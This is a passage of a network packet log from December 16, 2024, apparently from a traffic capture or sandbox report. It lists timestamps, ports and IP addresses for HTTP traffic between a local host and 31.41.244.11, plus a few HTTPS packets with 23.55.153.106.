Dec 16, 2024 09:01:32.509505033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.509574890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.509624004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.510370016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.510441065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.510488987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.510535955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.511033058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.511079073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.511109114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.511146069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.511795998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.511872053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.511872053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.511923075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.512625933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.512695074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.512748957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.513154984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.513420105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.513540983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.513576984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.513590097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.514255047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.514306068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.514328003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.514373064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.515105963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.515166998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.515171051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.515209913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.516069889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.516118050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.516192913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.516236067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.516999960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.517062902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.517167091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.517210007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.517693043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.517738104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.517764091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.517803907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.518409967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.518455029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.518537998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.518582106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.519193888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.519241095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.519361019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.520040989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.520090103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.520142078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.520190954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.520859957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.520908117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.520992994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.521038055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.521670103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.521714926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.521756887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.521802902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.522492886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.522540092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.522583008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.522628069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.672295094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.672367096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.672420025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.672481060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.672667027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.672854900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.672880888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.672904015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.673477888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.673527956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.673603058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.673650026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.674319029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.674374104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.674494982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.674540043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.675127029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.675177097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.675219059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.675266981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.676079988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.676131010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.676177979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.676227093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.676785946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.676836014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.676851988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.676899910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.677612066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.677683115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.677726030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.677772999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.678416967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.678474903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.678525925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.678580046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.679258108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.679347038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.679384947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.679435968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.680093050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.680146933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.680196047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.680243015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.680918932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.680979013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.681022882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.681076050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.681735039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.681792974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.681833982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.681883097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.682593107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.682645082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.682684898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.682734966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.683422089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.683487892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.683516979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.683567047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.684215069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.684267044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.684305906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.684354067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.685039043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.685087919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.685133934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.685189009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.685873032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.685925007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.685925961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.685975075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.686760902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.686815023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.686834097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.686882973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.687521935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.687571049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.687585115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.687634945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.688342094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.688400030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.688498020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.688544989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.689172983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.689228058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.689321041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.689371109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.690011024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.690063953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.690108061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.690155983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.690857887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.690906048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.690953016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.691003084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.691797972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.691847086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.692013979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.692058086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.692526102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.692578077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.692617893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.692665100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.693311930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.693361998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.693407059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.693454981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.694175005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.694211960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.694224119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.694253922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.694963932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.695015907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.695063114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.695108891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.695805073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.695854902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.695862055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.695908070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.696633101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.696685076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.696733952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.696783066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.697452068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.697504044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.697550058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.697598934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.698265076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.698313951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.698347092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.698395967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.699107885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.699158907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.699238062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.699285030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.699918032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.699970007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.700016975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.700062990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.700812101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.700860977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.700906992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.700953007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.701689959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.701745033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.701760054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.701792955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.702478886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.702533007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.702594042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.702640057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.703267097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.703326941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.703418016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.703466892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.704066038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.704116106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.704160929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.704209089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.704879999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.704929113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.704998970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.705050945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.705703020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.705751896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.705754042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.705807924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.706648111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.706696987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.706708908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.706754923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.707400084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.707452059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.707472086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.707519054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.708230019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.708278894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.708404064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.708452940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.709326029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.709378004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.709467888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.709515095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.710191965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.710239887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.710280895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.710331917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.710799932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.710850954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.710891008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.710947037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.711672068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.711721897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.711827040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.711874962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.712412119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.712464094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.712487936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.712537050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.713157892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.713207960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.713215113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.713263035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.713978052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.714030981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.714096069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.714143991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.714816093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.714864016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.714927912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.714977026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.715549946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.715603113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.855249882 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:32.855416059 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:32.857247114 CET	49877	443	192.168.2.5	23.55.153.106
Dec 16, 2024 09:01:32.857280970 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:32.857687950 CET	443	49877	23.55.153.106	192.168.2.5
Dec 16, 2024 09:01:32.864629030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.864911079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.864990950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.865045071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.865091085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.865179062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.865220070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.865853071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.865907907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.865945101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.865987062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.866682053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.866751909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.866786957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.866832972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.867542028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.867566109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.867636919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.868386030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.868432999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.868478060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.868521929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.869174004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.869226933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.869256973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.869313955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.869996071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.870049000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.870125055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.870176077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.870835066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.870974064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.871040106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.871639013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.871702909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.871737957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.871784925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.872461081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.872509956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.872553110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.872596025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.873287916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.873342991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.873378038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.873420954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.874118090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.874165058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.874201059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.874243975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.874953985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.874999046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.875075102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.875116110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:32.875804901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:32.875989914 CET	80	49866	31.41.244.11	192.168.2.5
